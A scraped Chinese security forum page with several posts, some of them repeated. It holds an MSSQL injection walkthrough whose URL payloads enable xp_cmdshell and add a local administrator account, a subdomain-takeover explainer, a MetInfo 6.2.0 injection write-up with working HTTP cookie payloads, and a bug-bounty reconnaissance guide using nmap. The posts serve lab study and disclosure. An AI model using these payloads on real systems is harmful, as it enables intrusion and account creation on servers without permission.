用一些关键词来描述sanmao2054可能会是:【刚枪小王子】、【步枪之王】、【不擅长狙击】、【爆破手】、【使用vector的大手子】之类的。
最后用两张安全圈所有玩家的死亡热力图来结束全文:

 
0×04 最后
本文仅是一个For fun的周末项目,涉及的数据有限。在真正的网络攻防实践中,数据挖掘和分析能为安全工程师带来更多的便利,特别是在流量分析/异常检测/溯源取证/风控画像等方面。
笔者目前在某甲方公司从事安全相关工作,身边搞数据分析的人较少,所以写这篇文章的目的也是希望能结识同样对安全数据分析感兴趣的小伙伴。
对这个方向感兴趣的小伙伴欢迎留言或wx/wb上同我交流:-)有周末组排缺菜鸡队友的也欢迎戳我。

SQLServer注入中基于xp_cmdshell的命令执行

Web安全渗透wuyou 发表了文章 • 0 个评论 • 29 次浏览 • 6 天前 • 来自相关话题

前提:
getshell或者存在sql注入并且能够执行命令。sql server是system权限(默认权限),因为xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。


实验环境:
sql server 2008
IIS 7.0
存在注入点的asp的Web页面

实验过程:
xp_cmdshell可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符串,并以文本行方式返回任何输出,是一个功能非常强大的扩展存贮过程。




这个就是我们的实验用注入点

首先判断是不是dba权限(延时后返回正确页面,确定为dba权限)
http://192.168.10.9/char.asp?id=3';if(1=(select is_srvrolemember('sysadmin'))) WAITFOR DELAY '0:0:2'--

查看是否有xp_cmdshell
http://192.168.10.9/char.asp?id=3';if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:2'--
成功延时,接下来开启xp_cmdshell

允许修改高级参数
http://192.168.10.9/char.asp?id=3';EXEC sp_configure 'show advanced options',1;RECONFIGURE--

打开xp_cmdshell扩展
http://192.168.10.9/char.asp?id=3';EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;--
这时xp_cmdshell就打开成功了,但是接来下继续操作时发现了一些关于权限的问题





MSSQL2005,2008等之后版本的MSSQL都分别对系统存储过程做了权限控制以防止被滥用。
于是我调整了开启MSSQL服务的账户





命令执行成功




 
Web环境测试:
http://192.168.10.9/char.asp?id=3';exec master..xp_cmdshell 'net user test /add'--
http://192.168.10.9/char.asp?id=3';exec master..xp_cmdshell 'net localgroup administrators test /add'--

尝试写入文件成功
http://192.168.10.9/char.asp?id=3';exec master..xp_cmdshell 'echo test >c:\\inetpub\\wwwroot\\1.txt';--

但是在写入Asp木马时发现无法写入'%',于是无法构造完整一句话木马
但是可以尝试其他思路
不知道网站根路径的情况下可以使用命令执行创建临时表并写入一些路径,然后用sqlmap跑出来

  查看全部
前提:
  1. getshell或者存在sql注入并且能够执行命令。
  2. sql server是system权限(默认权限),因为xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。



实验环境:
sql server 2008
IIS 7.0
存在注入点的asp的Web页面

实验过程:
xp_cmdshell可以让系统管理员以操作系统命令行解释器的方式执行给定的命令字符串,并以文本行方式返回任何输出,是一个功能非常强大的扩展存贮过程。
1.png

这个就是我们的实验用注入点

首先判断是不是dba权限(延时后返回正确页面,确定为dba权限)
http://192.168.10.9/char.asp?id=3';if(1=(select is_srvrolemember('sysadmin'))) WAITFOR DELAY '0:0:2'--

查看是否有xp_cmdshell
http://192.168.10.9/char.asp?id=3';if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:2'--
成功延时,接下来开启xp_cmdshell

允许修改高级参数
http://192.168.10.9/char.asp?id=3';EXEC sp_configure 'show advanced options',1;RECONFIGURE--

打开xp_cmdshell扩展
http://192.168.10.9/char.asp?id=3';EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;--
这时xp_cmdshell就打开成功了,但是接来下继续操作时发现了一些关于权限的问题
2.png


MSSQL2005,2008等之后版本的MSSQL都分别对系统存储过程做了权限控制以防止被滥用。
于是我调整了开启MSSQL服务的账户
3.png


命令执行成功
4.png

 
Web环境测试:
http://192.168.10.9/char.asp?id=3';exec master..xp_cmdshell 'net user test /add'--
http://192.168.10.9/char.asp?id=3';exec master..xp_cmdshell 'net localgroup administrators test /add'--

尝试写入文件成功
http://192.168.10.9/char.asp?id=3';exec master..xp_cmdshell 'echo test >c:\\inetpub\\wwwroot\\1.txt';--

但是在写入Asp木马时发现无法写入'%',于是无法构造完整一句话木马
但是可以尝试其他思路
不知道网站根路径的情况下可以使用命令执行创建临时表并写入一些路径,然后用sqlmap跑出来

 

云安全----子域名takeover漏洞原理分析与防御(以微软为例)

Web安全渗透sq_smile 发表了文章 • 0 个评论 • 39 次浏览 • 2019-04-08 11:13 • 来自相关话题

0x01、subdomain takeover,子域名劫持/接管。 
0X02、漏洞实例--有趣的测试
某日,刚加上白帽师傅@wAnyBug,聊天过程可谓步步惊魂(我的cookie真的不值钱)。





猜测:看到是子域名,初步感觉子域名learnt.MicroSoft.Com被劫持(接管)。
 
确认:Chrome隐身模式下访问 learnt.MicroSoft.Com 看到了非微软内容,大致可确认是子域劫持(接管)。





猜测:此时如果我登录outlook并访问该子域名learnt.MicroSoft.Com,很可能cookie不保。
 
确认:后来发现微软的登录设计为SSO(单点登录,Single Sign On),即微软服务统一在login.live.com登录。所以可以肯定,如果我登录outlook并访问该子域名learnt.MicroSoft.Com,则cookie可被web后端获取。
0X03 实例分析
查询该网站的DNS记录:C:\Users\ASUS>nslookup learnt.MicroSoft.Com
Server: phicomm.me
Address: 192.168.0.1


Non-authoritative answer:
Name: subdomain-takeover-msrc.wanybug.Com
Address: 47.52.101.203
Aliases: learnt.MicroSoft.Com
ldlearntest.trafficmanager.net可以得出:Name: subdomain-takeover-msrc.wanybug.Com
Aliases: learnt.MicroSoft.Com
ldlearntest.trafficmanager.net       由此可以判断出 白帽师傅@wAnyBug 注册了ldlearntest.trafficmanager.net (随后确认确实如此)。
       注意:=12pttrafficmanager.net确实仍是"微软(中国)有限公司"的重要域名,用于Azure云服务,可以提供给用户们注册自己的云服务子域名。格式为 xxx.trafficmanager.net。
       通过搜索引擎 搜索site:trafficmanager.net|trafficmanager.cn可以看到很多云服务器的域名。如,某酒厂的域名为 www.dawine.com 通过查询:C:\Users\ASUS>nslookup www.dawine.com
Server: google-public-dns-a.google.com
Address: 8.8.8.8


Non-authoritative answer:
Name: dawine1.chinacloudapp.cn
Address: 139.217.132.95
Aliases: www.dawine.com
dawinechinaweb.trafficmanager.cn        可发现其服务器使用Azure云服务,并将符合其自身商业名称的域名,dawineroottea.traffiicmanger.cn作为www.dwwine.com的CNAM。
0X04  漏洞原理:A公司域名为 a.com 并使用云服务cloud.com提供服务,申请并得到了云服务主机 imA.cloud.com。
A公司运维人员将 shop.a.com 的CNAME 设置为 imA.cloud.com。
某天A公司的该服务因为某些原因不再使用了,于是直接停掉了云主机 imA.cloud.com (或该云主机无人管理已过期)。
此时shop.a.com 的CNAME依然是 imA.cloud.com(关键:A公司未重新设置 shop.a.com 的CNAME值)。
如果攻击者w使用cloud.com的云服务并尝试申请并成功得到了云服务主机 imA.cloud.com。
攻击者w将 imA.cloud.com 的web页面改为文本"hacked!"。
此时访问shop.a.com 则出现 文本"hacked!"。
0X05    漏洞危害:* 获取Cookie
* 构造页面内容 (包括但不限于钓鱼、广告...)
* 执行任意javascript代码(类似XSS) 所以XSS具有的危害 这里都有
* 探测内网(利用实时通信标准WebRTC 获取存活主机ip列表 甚至部分端口 能打到内网则类似SSRF漏洞 可对内网发起许多攻击... 如XSS可以利用redis未授权Getshell)
* 获取管理员或普通用户的cookie 读取账户特有的信息/执行账户特有的操作
* 窃取表单凭据 - 类似键盘记录 记录或读取表单输入的内容
* 构造钓鱼页面 - 窃取用户及管理员其他的凭证
* 漏洞联合 - 使用XSS无交互地利用CSRF漏洞. 有的anti-CSRF机制只判断Referer的值(自身/兄弟/父子域名 则正常响应) 如果这些站有某处存在XSS则可无交互地利用CSRF漏洞
* XSS蠕虫 - 在社交网站上可创建蠕虫式的XSS攻击 传播速度极快 影响极大
* 获取前端代码 - 如管理员后台系统 修改密码处的html代码中有对应的字段名 可根据代码构造请求 以实现新增或修改管理员账号密码
* DOS攻击 - 自动注销 让用户无法登录 严重影响业务使用
* DDoS攻击 - 对其他站点进行应用层DDoS攻击 如持续发送HTTP请求
* 传播非法内容 - 跳转或直接修改页面内容为非法内容. 如 广告 诋毁 等
* 使浏览器下载文件 - 结合社工方法欺骗用户 使其打开有危害的程序
* 挖矿等
*...
总之危害很大。
另外其他配置可能会扩大危害,如A公司设置了泛解析*.a.com 都指向了 云服务提供商的某个云主机的域名。
0X06    测试方法:1、手工:nslookup
2、michenriksen/aquatone命令。 aquatone-takeover --domain xx.com --threads 500
0X07    防御方案:* 提高资产管理能力 (避免云服务过期或被关闭,被他人"抢注")
* 可以考虑使用名称不可自定义(随机hash值)的云服务商 如258ea2e57bca0.Acloud.com (避免云服务过期或被关闭,被他人"抢注")
* 如果被"抢注" 重新设置域名的CNAME
 
文章转自阿里云的先知社区,原文链接为:https://xz.aliyun.com/t/4673
作者:arr0w1
  查看全部
0x01、subdomain takeover,子域名劫持/接管。 
0X02、漏洞实例--有趣的测试
某日,刚加上白帽师傅@wAnyBug,聊天过程可谓步步惊魂(我的cookie真的不值钱)。

1---和漏洞师父的聊天.png

猜测:看到是子域名,初步感觉子域名learnt.MicroSoft.Com被劫持(接管)。
 
确认:Chrome隐身模式下访问 learnt.MicroSoft.Com 看到了非微软内容,大致可确认是子域劫持(接管)。

2---漏洞示意图.png

猜测:此时如果我登录outlook并访问该子域名learnt.MicroSoft.Com,很可能cookie不保。
 
确认:后来发现微软的登录设计为SSO(单点登录,Single Sign On),即微软服务统一在login.live.com登录。所以可以肯定,如果我登录outlook并访问该子域名learnt.MicroSoft.Com,则cookie可被web后端获取。
0X03 实例分析
查询该网站的DNS记录:
C:\Users\ASUS>nslookup learnt.MicroSoft.Com
Server: phicomm.me
Address: 192.168.0.1


Non-authoritative answer:
Name: subdomain-takeover-msrc.wanybug.Com
Address: 47.52.101.203
Aliases: learnt.MicroSoft.Com
ldlearntest.trafficmanager.net
可以得出:
Name:    subdomain-takeover-msrc.wanybug.Com
Aliases: learnt.MicroSoft.Com
ldlearntest.trafficmanager.net
       由此可以判断出 白帽师傅@wAnyBug 注册了ldlearntest.trafficmanager.net (随后确认确实如此)。
       注意:=12pttrafficmanager.net确实仍是"微软(中国)有限公司"的重要域名,用于Azure云服务,可以提供给用户们注册自己的云服务子域名。格式为 xxx.trafficmanager.net
       通过搜索引擎 搜索site:trafficmanager.net|trafficmanager.cn可以看到很多云服务器的域名。如,某酒厂的域名为 www.dawine.com 通过查询:
C:\Users\ASUS>nslookup www.dawine.com
Server: google-public-dns-a.google.com
Address: 8.8.8.8


Non-authoritative answer:
Name: dawine1.chinacloudapp.cn
Address: 139.217.132.95
Aliases: www.dawine.com
dawinechinaweb.trafficmanager.cn
        可发现其服务器使用Azure云服务,并将符合其自身商业名称的域名,dawineroottea.traffiicmanger.cn作为www.dwwine.com的CNAM。
0X04  漏洞原理
A公司域名为 a.com 并使用云服务cloud.com提供服务,申请并得到了云服务主机 imA.cloud.com。
A公司运维人员将 shop.a.com 的CNAME 设置为 imA.cloud.com。
某天A公司的该服务因为某些原因不再使用了,于是直接停掉了云主机 imA.cloud.com (或该云主机无人管理已过期)。
此时shop.a.com 的CNAME依然是 imA.cloud.com(关键:A公司未重新设置 shop.a.com 的CNAME值)。
如果攻击者w使用cloud.com的云服务并尝试申请并成功得到了云服务主机 imA.cloud.com。
攻击者w将 imA.cloud.com 的web页面改为文本"hacked!"。
此时访问shop.a.com 则出现 文本"hacked!"。

0X05    漏洞危害
* 获取Cookie
* 构造页面内容 (包括但不限于钓鱼、广告...)
* 执行任意javascript代码(类似XSS) 所以XSS具有的危害 这里都有
* 探测内网(利用实时通信标准WebRTC 获取存活主机ip列表 甚至部分端口 能打到内网则类似SSRF漏洞 可对内网发起许多攻击... 如XSS可以利用redis未授权Getshell)
* 获取管理员或普通用户的cookie 读取账户特有的信息/执行账户特有的操作
* 窃取表单凭据 - 类似键盘记录 记录或读取表单输入的内容
* 构造钓鱼页面 - 窃取用户及管理员其他的凭证
* 漏洞联合 - 使用XSS无交互地利用CSRF漏洞. 有的anti-CSRF机制只判断Referer的值(自身/兄弟/父子域名 则正常响应) 如果这些站有某处存在XSS则可无交互地利用CSRF漏洞
* XSS蠕虫 - 在社交网站上可创建蠕虫式的XSS攻击 传播速度极快 影响极大
* 获取前端代码 - 如管理员后台系统 修改密码处的html代码中有对应的字段名 可根据代码构造请求 以实现新增或修改管理员账号密码
* DOS攻击 - 自动注销 让用户无法登录 严重影响业务使用
* DDoS攻击 - 对其他站点进行应用层DDoS攻击 如持续发送HTTP请求
* 传播非法内容 - 跳转或直接修改页面内容为非法内容. 如 广告 诋毁 等
* 使浏览器下载文件 - 结合社工方法欺骗用户 使其打开有危害的程序
* 挖矿等
*...
总之危害很大。
另外其他配置可能会扩大危害,如A公司设置了泛解析*.a.com 都指向了 云服务提供商的某个云主机的域名。

0X06    测试方法
1、手工:nslookup
2、michenriksen/aquatone命令。 aquatone-takeover --domain xx.com --threads 500

0X07    防御方案
* 提高资产管理能力 (避免云服务过期或被关闭,被他人"抢注")
* 可以考虑使用名称不可自定义(随机hash值)的云服务商 如258ea2e57bca0.Acloud.com (避免云服务过期或被关闭,被他人"抢注")
* 如果被"抢注" 重新设置域名的CNAME

 
文章转自阿里云的先知社区,原文链接为:https://xz.aliyun.com/t/4673
作者:arr0w1
 

metinfo 6.2.0最新版本前台注入漏洞

zksmile 发表了文章 • 0 个评论 • 56 次浏览 • 2019-04-03 18:28 • 来自相关话题

https://nosec.org/home/detail/2436.html
https://xz.aliyun.com/t/4508
 
漏洞环境:docker pull zksmile/vul:metinfov6.2.0概述:
看到某个表哥发的metinfo 6.1.3最新注入(https://xz.aliyun.com/t/4508),以前我发过metinfo利用注入getshell的文章,这里正好可以结合。(https://nosec.org/home/detail/2324.html),在检查官方发布的最新版6.2.0版本的时候,发现该漏洞并未修复。
利用条件
前台,(https://xz.aliyun.com/t/4508 )作者在这里说需要注册会员,其实有一处不需要。漏洞详情
这里关键点在auth类的encode()和decode()方法。看下代码:class auth {

public $auth_key;

public function __construct() {
global $_M;
$this->auth_key = $_M['config']['met_webkeys'];
}

public function decode($str, $key = ''){
return $this->authcode($str, 'DECODE', $this->auth_key.$key);
}

public function encode($str, $key = '', $time = 0){
return $this->authcode($str, 'ENCODE', $this->auth_key.$key, $time);
}这里两个方法全都调用了authcode()方法,跟进authcode看一下:public function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('0d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}

if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
}else{
return $keyc.str_replace('=', '', base64_encode($result));
}
}这里decode和encode算法可逆,但我们需要知道$key的值,查看构造函数: public function __construct() {
global $_M;
$this->auth_key = $_M['config']['met_webkeys'];
}这里$key的值是来源于met_webkeys这个配置,查看met_webkeys来源发现在安装的时候把这个key写入到./config/config_safe.php文件中。




查看/config/config_safe.php文件,这里写入方式类似以下,但p牛在某篇文章中说过,这种是无法解析的,php后面必须要有一个空白字符,右键查看源代码即可得到met_webkeys,但有的会报错,根据这个表哥所说和php线程安全有关,本地试了下好像是这样。










这里有两个利用点,简单说下其中一个。在register类的doemailvild()方法中,这里把用户提交的p参数进行了解密,并且传入到了get_user_valid()方法中。 




查看get_user_valid()方法,这里又把解密后的值传入到了get_user_by_username()方法。





查看get_user_by_username()方法,又传入了get_user_by_nameid()方法。





查看get_user_by_nameid()方法,直接拼接。





这里基本就清楚了,将auth类的authcode()方法copy本地。





访问本地文件得到加密后的字符串。





将加密后的字符串放到cookie,get或者post中,构造请求提交,延时注入成功。
payload
复现时需要注意的点:
1、php.ini中 short_open_tag=off
 
2、不管需不需要登录,最起码需要网站有一个会员存在。





 
这里有两个,一个是不需要登陆就可注入,另一个是coolcat表哥所说的需要以会员登陆。以下请自行替换p参数。
1、不需要登陆GET /admin/index.php?n=user&m=web&c=register&a=doemailvild HTTP/1.1

Cookie: p=00c7%2FDBwD23b41olxVCthTvDDTRBhldmrrdyA8S3t%2F3yAl4QZ0P%2FSfOS5zlB
2、 需要登陆GET /admin/index.php?n=user&m=web&c=profile&a=dosafety_emailadd HTTP/1.1

Cookie: p=497cD9UpkDtsvFzU9IKNlPvSyg1z%2bf09cmp8hqUeyJW9ekvPfJqx8cLKFSHr;<自行添加登陆后的cookie>修复方案
目前官网没有更新相关补丁。
白帽汇安全研究院建议限制config_safe.php的访问权限来进行应急修复。
Apache配置.htaccess文件:





Nginx在nginx.conf文件添加以下配置:





  查看全部
https://nosec.org/home/detail/2436.html
https://xz.aliyun.com/t/4508
 
漏洞环境:
docker pull zksmile/vul:metinfov6.2.0
概述:
看到某个表哥发的metinfo 6.1.3最新注入(https://xz.aliyun.com/t/4508),以前我发过metinfo利用注入getshell的文章,这里正好可以结合。(https://nosec.org/home/detail/2324.html),在检查官方发布的最新版6.2.0版本的时候,发现该漏洞并未修复。
利用条件
前台,(https://xz.aliyun.com/t/4508 )作者在这里说需要注册会员,其实有一处不需要。漏洞详情
这里关键点在auth类的encode()和decode()方法。看下代码:
class auth {

public $auth_key;

public function __construct() {
global $_M;
$this->auth_key = $_M['config']['met_webkeys'];
}

public function decode($str, $key = ''){
return $this->authcode($str, 'DECODE', $this->auth_key.$key);
}

public function encode($str, $key = '', $time = 0){
return $this->authcode($str, 'ENCODE', $this->auth_key.$key, $time);
}
这里两个方法全都调用了authcode()方法,跟进authcode看一下:
public function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('0d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}

if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
}else{
return $keyc.str_replace('=', '', base64_encode($result));
}
}
这里decode和encode算法可逆,但我们需要知道$key的值,查看构造函数:
    public function __construct() {
global $_M;
$this->auth_key = $_M['config']['met_webkeys'];
}
这里$key的值是来源于met_webkeys这个配置,查看met_webkeys来源发现在安装的时候把这个key写入到./config/config_safe.php文件中。
1.png

查看/config/config_safe.php文件,这里写入方式类似以下,但p牛在某篇文章中说过,这种是无法解析的,php后面必须要有一个空白字符,右键查看源代码即可得到met_webkeys,但有的会报错,根据这个表哥所说和php线程安全有关,本地试了下好像是这样。

2.png


3.png

这里有两个利用点,简单说下其中一个。在register类的doemailvild()方法中,这里把用户提交的p参数进行了解密,并且传入到了get_user_valid()方法中。 
4.png

查看get_user_valid()方法,这里又把解密后的值传入到了get_user_by_username()方法。

5.png

查看get_user_by_username()方法,又传入了get_user_by_nameid()方法。

6.png

查看get_user_by_nameid()方法,直接拼接。

7.png

这里基本就清楚了,将auth类的authcode()方法copy本地。

8.png

访问本地文件得到加密后的字符串。

9.png

将加密后的字符串放到cookie,get或者post中,构造请求提交,延时注入成功。
payload
复现时需要注意的点:
1、php.ini中 short_open_tag=off
 
2、不管需不需要登录,最起码需要网站有一个会员存在。

10.png

 
这里有两个,一个是不需要登陆就可注入,另一个是coolcat表哥所说的需要以会员登陆。以下请自行替换p参数。
1、不需要登陆
GET /admin/index.php?n=user&m=web&c=register&a=doemailvild HTTP/1.1

Cookie: p=00c7%2FDBwD23b41olxVCthTvDDTRBhldmrrdyA8S3t%2F3yAl4QZ0P%2FSfOS5zlB

2、 需要登陆
GET /admin/index.php?n=user&m=web&c=profile&a=dosafety_emailadd HTTP/1.1

Cookie: p=497cD9UpkDtsvFzU9IKNlPvSyg1z%2bf09cmp8hqUeyJW9ekvPfJqx8cLKFSHr;<自行添加登陆后的cookie>
修复方案
目前官网没有更新相关补丁。
白帽汇安全研究院建议限制config_safe.php的访问权限来进行应急修复。
Apache配置.htaccess文件:

11.png

Nginx在nginx.conf文件添加以下配置:

12.png

 

那些年挖过的SRC之我是捡漏王(转)

fireant 发表了文章 • 0 个评论 • 38 次浏览 • 2019-04-02 19:04 • 来自相关话题

信息收集             
 
前言
输出这篇文章的目的也是为了好多人在挖洞时,看到别的大佬钱拿的不要不要的时候,只能在我们自己自己电脑面前一筹莫展,这篇文章也是为了带大家打开新的思路。 

俗话说得好,“不是你套路不够深,是你的基础不够扎实。”

第一步:选择一条不拥挤的道路
现在类似于漏洞盒子,补天这种平台企业SRC的开展,同时伴随着各个公司私有SRC挨个上线,我们可以讲目光聚焦到他们身上。

基础不扎实,如SQL注入,XSS,上传,稍微大一点的厂商,一个WAF就打死了一群工具小子,这里我暂且不谈,直接放弃,来选择扫描器无法的发现漏洞。

如果想挖洞赚钱,只有2条路:

1.客户端漏洞

这样的漏洞挖掘竞争的人会比常见web漏洞和主机端口漏洞少不少。

2.子域名下漏洞

主要讲的是一些边缘业务或者是刚上线的业务。

第二步:信息收集
老生常谈的一个东西了,举个简单的例子,像一些用户比较多的软件,一旦出现漏洞,影响的用户量是相当巨大的。

比如struts漏洞,这些框架漏洞也出了很久了吧,还是有人喜欢用它。

不管你去谷歌还是bing然后采集一波该特征的URL,扔到这个批量验证工具里面,仍然存在大把的ip存在struts命令执行漏洞。

这就是信息收集的成功因素的之一,更何况,现在还有钟馗之眼,傻蛋,fofa这些平台API的开放,无时无刻不在帮我们做着信息收集的工作,让我们多了一把更锋利的武器。

以上是废话,我们不赘诉了。

再谈谈SRC,举个简单的例子,SRC他们在平台上只声明了大致方向,只要属于他们的业务漏洞都收。

那么我们如何定位呢。

我的思路:

1.他的域名对应的真实IP,对应的C段,甚至B段;

2.他的子域名;

3.其他平台(如hackerone)。

如:

https://hackerone.com/alibaba

梦寐以求的目标范围,只要去国外的漏洞网站就能轻轻松松看到。惊不惊喜,意不意外?

查找子域名的文章太多太多,这里也不讲太多了。

当然也可以收集QQ群,微信讨论组,暗网的信息然后去提交威胁情报。

第三步:局部性挖掘
这里就针对目标SRC的资产做一个收集。

以补天的专属为例:

给了我们非常少的范围:

我们先whois查询一下:

然后反查:

查到该公司对应的域名。

这里可以收集顶级域名,然后通过子域名挖掘工具获取二级及三级域名。

李姐姐的神器:https://github.com/lijiejie/subDomainsBrute

高并发DNS暴力枚举,发现其他工具无法探测到的域名:
效果:

或者在线版的:

https://phpinfo.me/domain/

利用下面的脚本处理结果:#coding=utf8

import re

import os

def getlist():

filename = raw_input('filename')

print filename

ft = open("url.txt",'w+')

with open(str(filename), 'r') as f:

lines = [line.strip() for line in f.readlines()]

for x in lines:

lists=x.split('-')

result = lists[1]

ft.write(result+'\n')

print result

getlist()

print 'done'


删除重复项:
上面2个方法分别导出的结果如下图所示:
这里就回答了好多人经常问我的,为啥子域名挖掘工具要用那么多,因为你用的越多,你收集的越全面。

大部分大公司基本都是整个C段买下来,这里因为这里的目标使用的是代理商,所以我没有跑C段,不然资产可以爆炸多,包大家挖洞挖到眼泪流下来。

第四步:处理收集到的信息
把筛选出来的ip保存到url.txt,然后使⽤nmap命令将结果输出为.gnmp⽂件:

nmap -sS -p 80,443,8080 -Pn -iL url.txt -oA [绝对路径]
我用的命令是:

nmap -sS -O -sV -iL url.txt -p 80,8080,443 -v -T4 -Pn -oA C:\Users\Administrator.DESKTOP-0MHPHKA\Desktop\result    
 
再使用python转化为xsl格式:#coding:utf8

import sys

log = open("result.gnmap","r")

xls = open("output.csv","a")

xls.write("IP,port,status,protocol,service,version\n")

for line in log.readlines():

if line.startswith("#") or line.endswith("Status: Up\n"):

continue

result = line.split(" ")

#print result

host = result[0].split(" ")[1]

#print host

port_info = result[1].split("/, ")

#print port_info

port_info[0] = port_info[0].strip("Ports: ")

#print port_info[0]

for i in port_info:

j = i.split("/")

#print j

output = host + "," + j[0] + "," + j[1] + "," + j[2] + ","+ j[4] + "," + j[6] + "\n"

xls.write(output)
 

 
然后本地搭建一个php环境,写一个url跳转代码:<?php

$url = $_GET['url'];

Header("Location:$url");

?>


抓包:



GET /url.php?url=http://1.1.1.1:80 HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1
 

burpsuite跑结果:

全文不涉及敏感信息,就不打码了。
 
第五步:结束语
献给所有在挖洞道路走的越来越远的兄弟们。
 
本文脚本已全部上传github。

 
文章参考:
 
https://mp.weixin.qq.com/s/yl1LgC_DHPJtaWh92va_Vw
 
https://blog.csdn.net/qq_21405949/article/details/78487062
  查看全部
信息收集             
 
前言
输出这篇文章的目的也是为了好多人在挖洞时,看到别的大佬钱拿的不要不要的时候,只能在我们自己自己电脑面前一筹莫展,这篇文章也是为了带大家打开新的思路。 

俗话说得好,“不是你套路不够深,是你的基础不够扎实。”

第一步:选择一条不拥挤的道路
现在类似于漏洞盒子,补天这种平台企业SRC的开展,同时伴随着各个公司私有SRC挨个上线,我们可以讲目光聚焦到他们身上。

基础不扎实,如SQL注入,XSS,上传,稍微大一点的厂商,一个WAF就打死了一群工具小子,这里我暂且不谈,直接放弃,来选择扫描器无法的发现漏洞。

如果想挖洞赚钱,只有2条路:


1.客户端漏洞

这样的漏洞挖掘竞争的人会比常见web漏洞和主机端口漏洞少不少。

2.子域名下漏洞

主要讲的是一些边缘业务或者是刚上线的业务。

第二步:信息收集
老生常谈的一个东西了,举个简单的例子,像一些用户比较多的软件,一旦出现漏洞,影响的用户量是相当巨大的。

比如struts漏洞,这些框架漏洞也出了很久了吧,还是有人喜欢用它。

不管你去谷歌还是bing然后采集一波该特征的URL,扔到这个批量验证工具里面,仍然存在大把的ip存在struts命令执行漏洞。

这就是信息收集的成功因素的之一,更何况,现在还有钟馗之眼,傻蛋,fofa这些平台API的开放,无时无刻不在帮我们做着信息收集的工作,让我们多了一把更锋利的武器。

以上是废话,我们不赘诉了。

再谈谈SRC,举个简单的例子,SRC他们在平台上只声明了大致方向,只要属于他们的业务漏洞都收。

那么我们如何定位呢。


我的思路:

1.他的域名对应的真实IP,对应的C段,甚至B段;

2.他的子域名;


3.其他平台(如hackerone)。

如:

https://hackerone.com/alibaba

梦寐以求的目标范围,只要去国外的漏洞网站就能轻轻松松看到。惊不惊喜,意不意外?

查找子域名的文章太多太多,这里也不讲太多了。

当然也可以收集QQ群,微信讨论组,暗网的信息然后去提交威胁情报。


第三步:局部性挖掘
这里就针对目标SRC的资产做一个收集。

以补天的专属为例:


给了我们非常少的范围:

我们先whois查询一下:

然后反查:

查到该公司对应的域名。

这里可以收集顶级域名,然后通过子域名挖掘工具获取二级及三级域名。

李姐姐的神器:https://github.com/lijiejie/subDomainsBrute

高并发DNS暴力枚举,发现其他工具无法探测到的域名:

效果:

或者在线版的:

https://phpinfo.me/domain/

利用下面的脚本处理结果:
#coding=utf8

import re

import os

def getlist():

filename = raw_input('filename')

print filename

ft = open("url.txt",'w+')

with open(str(filename), 'r') as f:

lines = [line.strip() for line in f.readlines()]

for x in lines:

lists=x.split('-')

result = lists[1]

ft.write(result+'\n')

print result

getlist()

